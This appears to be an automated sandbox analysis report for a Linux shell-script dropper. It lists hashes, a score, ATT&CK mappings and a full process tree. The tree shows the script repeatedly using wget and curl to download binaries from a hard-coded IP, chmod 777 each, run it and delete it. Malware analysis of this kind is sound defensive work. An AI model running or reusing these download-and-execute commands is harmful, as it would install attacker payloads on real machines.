ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75

Analysis

max time kernel
6s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/09/2026, 11:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
Size 1KB
Sample260910-m4lxdsbl2t
SHA256 ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75
MD5 f1a53465f4cc8d50959ecdfbdc2f74b9
SHA1 7e48200b4bd3bf02b8bbf9681bdc891eb5404862
SHA512 60c7adb74e1657c4001e91ac9ae0b0873241d3b46161fafbc348733eb5e678aacd553f0464c9455adda209adedd309dcdb63758746f2c0d085a62973e1a3947b
TLSH
T18A31589E10115A311113CE8FB3A23848A28EE1EB3D6FD7D49D494FEA91483CCF172B4A
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
824	chmod
714	chmod
744	chmod
752	chmod
759	chmod
803	chmod
817	chmod
672	chmod
679	chmod
688	chmod
784	chmod
810	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/83af79	673	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
/tmp/09f349	680	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
/tmp/29c60c	689	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
/tmp/78d7b3	716	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
/tmp/d58ebc	745	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
/tmp/971c2a	753	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
/tmp/bbcf8c	760	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
/tmp/6fdf60	786	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
/tmp/bc8782	804	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
/tmp/4dc39a	811	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
/tmp/32e510	818	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
/tmp/82e167	825	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/971c2a	curl
File opened for modification	/tmp/bbcf8c	curl
File opened for modification	/tmp/bc8782	curl
File opened for modification	/tmp/4dc39a	curl
File opened for modification	/tmp/29c60c	curl
File opened for modification	/tmp/78d7b3	curl
File opened for modification	/tmp/6fdf60	curl
File opened for modification	/tmp/32e510	curl
File opened for modification	/tmp/82e167	curl
File opened for modification	/tmp/83af79	curl
File opened for modification	/tmp/09f349	curl
File opened for modification	/tmp/d58ebc	curl

/tmp/ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
/tmp/ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75.sh
1⤵
- Executes dropped EXE
PID:644
- /usr/bin/wget
  wget http://5.182.210.174/83af79
  2⤵
  PID:649
- /usr/bin/curl
  curl -O http://5.182.210.174/83af79
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:669
- /bin/chmod
  chmod 777 83af79
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /tmp/83af79
  ./83af79 bc
  2⤵
  PID:673
- /bin/rm
  rm -rf 83af79
  2⤵
  PID:675
- /bin/rm
  rm -rf 83af79.1
  2⤵
  PID:676
- /usr/bin/wget
  wget http://5.182.210.174/09f349
  2⤵
  PID:677
- /usr/bin/curl
  curl -O http://5.182.210.174/09f349
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/chmod
  chmod 777 09f349
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /tmp/09f349
  ./09f349 bc
  2⤵
  PID:680
- /bin/rm
  rm -rf 09f349
  2⤵
  PID:682
- /bin/rm
  rm -rf 09f349.1
  2⤵
  PID:683
- /usr/bin/wget
  wget http://5.182.210.174/29c60c
  2⤵
  PID:684
- /usr/bin/curl
  curl -O http://5.182.210.174/29c60c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/chmod
  chmod 777 29c60c
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/29c60c
  ./29c60c bc
  2⤵
  PID:689
- /bin/rm
  rm -rf 29c60c
  2⤵
  PID:692
- /bin/rm
  rm -rf 29c60c.1
  2⤵
  PID:694
- /usr/bin/wget
  wget http://5.182.210.174/78d7b3
  2⤵
  PID:695
- /usr/bin/curl
  curl -O http://5.182.210.174/78d7b3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /bin/chmod
  chmod 777 78d7b3
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/78d7b3
  ./78d7b3 bc
  2⤵
  PID:716
- /bin/rm
  rm -rf 78d7b3
  2⤵
  PID:718
- /bin/rm
  rm -rf 78d7b3.1
  2⤵
  PID:720
- /usr/bin/wget
  wget http://5.182.210.174/d58ebc
  2⤵
  PID:722
- /usr/bin/curl
  curl -O http://5.182.210.174/d58ebc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod 777 d58ebc
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/d58ebc
  ./d58ebc bc
  2⤵
  PID:745
- /bin/rm
  rm -rf d58ebc
  2⤵
  PID:747
- /bin/rm
  rm -rf d58ebc.1
  2⤵
  PID:748
- /usr/bin/wget
  wget http://5.182.210.174/971c2a
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://5.182.210.174/971c2a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod 777 971c2a
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/971c2a
  ./971c2a bc
  2⤵
  PID:753
- /bin/rm
  rm -rf 971c2a
  2⤵
  PID:755
- /bin/rm
  rm -rf 971c2a.1
  2⤵
  PID:756
- /usr/bin/wget
  wget http://5.182.210.174/bbcf8c
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://5.182.210.174/bbcf8c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 bbcf8c
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/bbcf8c
  ./bbcf8c bc
  2⤵
  PID:760
- /bin/rm
  rm -rf bbcf8c
  2⤵
  PID:762
- /bin/rm
  rm -rf bbcf8c.1
  2⤵
  PID:763
- /usr/bin/wget
  wget http://5.182.210.174/6fdf60
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://5.182.210.174/6fdf60
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:774
- /bin/chmod
  chmod 777 6fdf60
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/6fdf60
  ./6fdf60 bc
  2⤵
  PID:786
- /bin/rm
  rm -rf 6fdf60
  2⤵
  PID:789
- /bin/rm
  rm -rf 6fdf60.1
  2⤵
  PID:790
- /usr/bin/wget
  wget http://5.182.210.174/bc8782
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://5.182.210.174/bc8782
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/chmod
  chmod 777 bc8782
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/bc8782
  ./bc8782 bc
  2⤵
  PID:804
- /bin/rm
  rm -rf bc8782
  2⤵
  PID:806
- /bin/rm
  rm -rf bc8782.1
  2⤵
  PID:807
- /usr/bin/wget
  wget http://5.182.210.174/4dc39a
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://5.182.210.174/4dc39a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod 777 4dc39a
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/4dc39a
  ./4dc39a bc
  2⤵
  PID:811
- /bin/rm
  rm -rf 4dc39a
  2⤵
  PID:813
- /bin/rm
  rm -rf 4dc39a.1
  2⤵
  PID:814
- /usr/bin/wget
  wget http://5.182.210.174/32e510
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://5.182.210.174/32e510
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod 777 32e510
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/32e510
  ./32e510 bc
  2⤵
  PID:818
- /bin/rm
  rm -rf 32e510
  2⤵
  PID:820
- /bin/rm
  rm -rf 32e510.1
  2⤵
  PID:821
- /usr/bin/wget
  wget http://5.182.210.174/82e167
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://5.182.210.174/82e167
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 82e167
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/82e167
  ./82e167 bc
  2⤵
  PID:825
- /bin/rm
  rm -rf 82e167
  2⤵
  PID:827
- /bin/rm
  rm -rf 82e167.1
  2⤵
  PID:828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

83af79

Path /tmp/83af79
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads